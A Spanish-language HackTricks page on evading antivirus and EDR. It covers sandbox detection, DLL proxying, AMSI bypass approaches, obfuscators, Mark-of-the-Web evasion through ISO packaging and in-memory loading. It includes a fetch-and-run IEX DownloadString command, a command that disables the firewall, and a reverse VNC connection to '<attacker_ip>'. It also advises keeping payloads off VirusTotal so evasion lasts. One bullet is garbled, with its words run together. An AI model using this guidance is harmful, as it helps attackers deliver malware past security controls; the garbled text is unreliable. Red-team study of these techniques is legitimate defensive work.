* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Actualmente, los AV utilizan diferentes métodos para comprobar si un archivo es malicioso o no, detección estática, análisis dinámico y, para los EDR más avanzados, análisis de comportamiento.
La detección estática se logra mediante la identificación de cadenas o matrices de bytes maliciosas conocidas en un binario o script, y también extrayendo información del archivo en sí (por ejemplo, descripción del archivo, nombre de la empresa, firmas digitales, icono, suma de comprobación, etc.). Esto significa que el uso de herramientas públicas conocidas puede hacer que te detecten más fácilmente, ya que probablemente hayan sido analizadas y marcadas como maliciosas. Hay un par de formas de evitar este tipo de detección:
Si cifras el binario, no habrá forma de que el AV detecte tu programa, pero necesitarás algún tipo de cargador para descifrar y ejecutar el programa en memoria.
A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para que pase el AV, pero esto puede ser una tarea que consume mucho tiempo dependiendo de lo que estés tratando de ofuscar.
Una buena forma de comprobar la detección estática de Windows Defender es [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Básicamente divide el archivo en varios segmentos y luego le pide a Defender que escanee cada uno individualmente, de esta manera, puede decirte exactamente cuáles son las cadenas o bytes marcados en tu binario.
Recomiendo encarecidamente que consultes esta [lista de reproducción de YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre la evasión práctica de AV.
El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y observa la actividad maliciosa (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minivolcado en LSASS, etc.). Esta parte puede ser un poco más complicada de trabajar, pero aquí hay algunas cosas que puedes hacer para evadir los sandboxes.
* **Dormir antes de la ejecución** Dependiendo de cómo esté implementado, puede ser una excelente manera de evitar el análisis dinámico del AV. Los AV tienen muy poco tiempo para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largas pausas puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente saltarse la pausa dependiendo de cómo esté implementada.
* **Comprobar los recursos de la máquina** Por lo general, los sandboxes tienen muy pocos recursos para trabajar (por ejemplo, <2GBdeRAM),delocontrariopodríanralentizarlamáquinadelusuario.Tambiénpuedessermuycreativoaquí,porejemplo,comprobandolatemperaturadelaCPUoinclusolasvelocidadesdelventilador,notodoestaráimplementadoenelsandbox.
* **Comprobaciones específicas de la máquina** Si quieres atacar a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes comprobar el dominio del ordenador para ver si coincide con el que has especificado, si no lo hace, puedes hacer que tu programa se cierre.
Resulta que el nombre del equipo Sandbox de Microsoft Defender es HAL9TH, por lo que puedes comprobar el nombre del equipo en tu malware antes de la detonación, si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa se cierre.
Por ejemplo, si quieres volcar LSASS, ¿realmente necesitas usar mimikatz? ¿O podrías usar un proyecto diferente que sea menos conocido y también volque LSASS?
La respuesta correcta probablemente sea la última. Tomando mimikatz como ejemplo, probablemente sea uno de, si no el malware más marcado por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para evitar los AV, así que busca alternativas para lo que estás tratando de lograr.
Cuando modifiques tus cargas útiles para la evasión, asegúrate de **desactivar la presentación automática de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr la evasión a largo plazo. Si quieres comprobar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
Recomiendo encarecidamente que **exploréis vosotros mismos los programas DLL Hijackable/Sideloadable**, esta técnica es bastante sigilosa si se hace correctamente, pero si utilizáis programas DLL Sideloadable conocidos públicamente, podéis ser detectados fácilmente.
Simplemente colocando una DLL maliciosa con el nombre que espera cargar un programa, no se cargará la carga útil, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**.
**DLL Proxying** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de la carga útil.
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como la DLL proxy tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo lo llamaría un éxito.
**Recomiendo encarecidamente** que veas el VOD de [S3cur3Th1sSh1t en Twitch](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también el video de [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) para aprender más sobre lo que hemos discutido en profundidad.
`Freeze es un conjunto de herramientas de carga útil para eludir los EDR utilizando procesos suspendidos, llamadas al sistema directas y métodos de ejecución alternativos`
La evasión es solo un juego del gato y el ratón, lo que funciona hoy podría ser detectado mañana, por lo que nunca confíes en una sola herramienta, si es posible, intenta encadenar múltiples técnicas de evasión.
AMSI fue creado para prevenir el "malware sin archivo". Inicialmente, los antivirus solo eran capaces de escanear **archivos en disco**, por lo que si de alguna manera pudieras ejecutar cargas útiles **directamente en la memoria**, el antivirus no podría hacer nada para evitarlo, ya que no tenía suficiente visibilidad.
Permite a las soluciones antivirus inspeccionar el comportamiento del script al exponer el contenido del script de una forma que no está encriptada ni obfuscada.
Ejecutar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` producirá la siguiente alerta en Windows Defender.
Dado que AMSI funciona principalmente con detecciones estáticas, modificar los scripts que intentas cargar puede ser una buena manera de evadir la detección.
Sin embargo, AMSI tiene la capacidad de desobfuscatear scripts incluso si tiene múltiples capas, por lo que la obfuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadirlo. Aunque a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y estarás bien, por lo que depende de cuánto se haya marcado algo.
Dado que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso si se ejecuta como usuario sin privilegios. Debido a esta falla en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
Forzar que la inicialización de AMSI falle (amsiInitFailed) hará que no se inicie ningún escaneo para el proceso actual. Originalmente, esto fue revelado por [Matt Graeber](https://twitter.com/mattifestation) y Microsoft ha desarrollado una firma para evitar un uso más amplio.
Todo lo que se necesitó fue una línea de código de powershell para hacer que AMSI fuera inutilizable para el proceso actual de powershell. Por supuesto, esta línea ha sido detectada por AMSI, por lo que se necesita alguna modificación para utilizar esta técnica.
Ten en cuenta que esto probablemente será detectado una vez que se publique esta publicación, por lo que no debes publicar ningún código si tu plan es permanecer indetectable.
Esta técnica fue descubierta inicialmente por [@RastaMouse](https://twitter.com/\_RastaMouse/) e implica encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada suministrada por el usuario) y sobrescribirla con instrucciones para devolver el código para E\_INVALIDARG, de esta manera, el resultado del escaneo real devolverá 0, lo que se interpreta como un resultado limpio.
Por favor, lee [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para obtener una explicación más detallada.
También hay muchas otras técnicas utilizadas para evitar AMSI con powershell, consulta [**esta página**](basic-powershell-for-pentesters/#amsi-bypass) y [este repositorio](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para obtener más información sobre ellas.
Existen varias herramientas que se pueden utilizar para **ofuscar código C# en texto claro**, generar **plantillas de metaprogramación** para compilar binarios u **ofuscar binarios compilados** como:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: ofuscador de C#**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto del conjunto de compilación [LLVM](http://www.llvm.org/) capaz de proporcionar una mayor seguridad del software a través de la [ofuscación de código](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) y la protección contra manipulaciones.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo utilizar el lenguaje `C++11/14` para generar, en tiempo de compilación, código ofuscado sin utilizar ninguna herramienta externa y sin modificar el compilador.
* [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas C++ que hará la vida de la persona que quiera crackear la aplicación un poco más difícil.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz es un ofuscador de binarios x64 que es capaz de ofuscar varios archivos pe diferentes, incluyendo: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame es un motor de código metamórfico simple para ejecutables arbitrarios.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator es un marco de ofuscación de código de grano fino para lenguajes compatibles con LLVM que utilizan ROP (programación orientada a la devolución). ROPfuscator ofusca un programa a nivel de código de ensamblador transformando las instrucciones regulares en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt es un cifrador de PE .NET escrito en Nim
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos.
Microsoft Defender SmartScreen es un mecanismo de seguridad destinado a proteger al usuario final contra la ejecución de aplicaciones potencialmente maliciosas.
SmartScreen funciona principalmente con un enfoque basado en la reputación, lo que significa que las aplicaciones descargadas de manera poco común activarán SmartScreen, lo que alertará y evitará que el usuario final ejecute el archivo (aunque el archivo aún se puede ejecutar haciendo clic en Más información -> Ejecutar de todos modos).
**MoTW** (Mark of The Web) es un [flujo de datos alternativo de NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) con el nombre de Zone.Identifier que se crea automáticamente al descargar archivos de Internet, junto con la URL desde la que se descargó.
<figure><imgsrc="../.gitbook/assets/image (13).png"alt=""><figcaption><p>Comprobando el flujo de datos alternativo Zone.Identifier para un archivo descargado de Internet.</p></figcaption></figure>
Una forma muy efectiva de evitar que tus cargas útiles obtengan la marca de la web es empaquetarlas dentro de algún tipo de contenedor como un ISO. Esto sucede porque la marca de la web (MOTW) **no se puede aplicar** a **volúmenes que no sean NTFS**.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) es una herramienta que empaqueta cargas útiles en contenedores de salida para evitar la marca de la web.
Aquí hay una demostración de cómo evitar SmartScreen empaquetando cargas útiles dentro de archivos ISO utilizando [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Cargar binarios de C# en memoria ha sido conocido durante bastante tiempo y sigue siendo una forma muy efectiva de ejecutar tus herramientas de post-explotación sin ser detectado por el antivirus.
La mayoría de los marcos de C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) ya proporcionan la capacidad de ejecutar ensamblados de C# directamente en memoria, pero hay diferentes formas de hacerlo:
Implica **generar un nuevo proceso sacrificial**, inyectar tu código malicioso de post-explotación en ese nuevo proceso, ejecutar tu código malicioso y, cuando termines, matar el nuevo proceso. Esto tiene tanto sus beneficios como sus inconvenientes. El beneficio del método de bifurcación y ejecución es que la ejecución ocurre **fuera** de nuestro proceso de implante Beacon. Esto significa que si algo en nuestra acción de post-explotación sale mal o es detectado, hay una **mayor probabilidad** de que nuestro **implante sobreviva**. La desventaja es que tienes una **mayor probabilidad** de ser detectado por **detecciones de comportamiento**.
Se trata de inyectar el código malicioso de post-explotación **en su propio proceso**. De esta manera, puedes evitar tener que crear un nuevo proceso y que sea escaneado por el antivirus, pero la desventaja es que si algo sale mal con la ejecución de tu carga útil, hay una **mayor probabilidad** de **perder tu beacon** ya que podría fallar.
Si quieres leer más sobre la carga de ensamblados de C#, consulta este artículo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) y su BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
También puedes cargar ensamblados de C# **desde PowerShell**, consulta [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) y [el video de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
Como se propone en [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), es posible ejecutar código malicioso utilizando otros lenguajes dando acceso a la máquina comprometida **al entorno del intérprete instalado en el recurso compartido SMB controlado por el atacante**.
Al permitir el acceso a los binarios del intérprete y al entorno en el recurso compartido SMB, puedes **ejecutar código arbitrario en estos lenguajes dentro de la memoria** de la máquina comprometida.
El repositorio indica: Defender todavía escanea los scripts, pero al utilizar Go, Java, PHP, etc., tenemos **más flexibilidad para evitar las firmas estáticas**. Las pruebas con scripts de shell inverso aleatorios y no ofuscados en estos lenguajes han resultado exitosas.
La evasión es un tema muy complicado, a veces tienes que tener en cuenta muchas fuentes diferentes de telemetría en un solo sistema, por lo que es prácticamente imposible permanecer completamente indetectable en entornos maduros.
Para evitar ser detectado, se puede cambiar el puerto de telnet por defecto (23) a otro puerto menos común. Para hacer esto, se debe editar el archivo de configuración del servicio de telnet y cambiar el número de puerto. Por ejemplo, se puede cambiar a 31337.
Además, para evitar que el firewall bloquee el tráfico de telnet, se puede desactivar temporalmente el firewall. Esto se puede hacer a través de la configuración del firewall o mediante la ejecución del comando `netsh firewall set opmode disable`. Es importante recordar volver a activar el firewall después de la sesión de telnet.
Descárgalo desde: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (quieres las descargas binarias, no la configuración)
El **atacante** debe **ejecutar dentro** de su **host** el binario `vncviewer.exe -listen 5900` para que esté **preparado** para capturar una conexión **VNC inversa**. Luego, dentro del **víctima**: Inicia el demonio winvnc `winvnc.exe -run` y ejecuta `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
* No inicies `winvnc` si ya está en ejecución o se activará una [ventana emergente](https://i.imgur.com/1SROTTl.png). Verifica si está en ejecución con `tasklist | findstr winvnc`
* No inicies `winvnc` sin `UltraVNC.ini` en el mismo directorio o causará que se abra [la ventana de configuración](https://i.imgur.com/rfMQWcf.png)
* No ejecutes `winvnc -h` para obtener ayuda o se activará una [ventana emergente](https://i.imgur.com/oc18wcu.png)
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en****Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
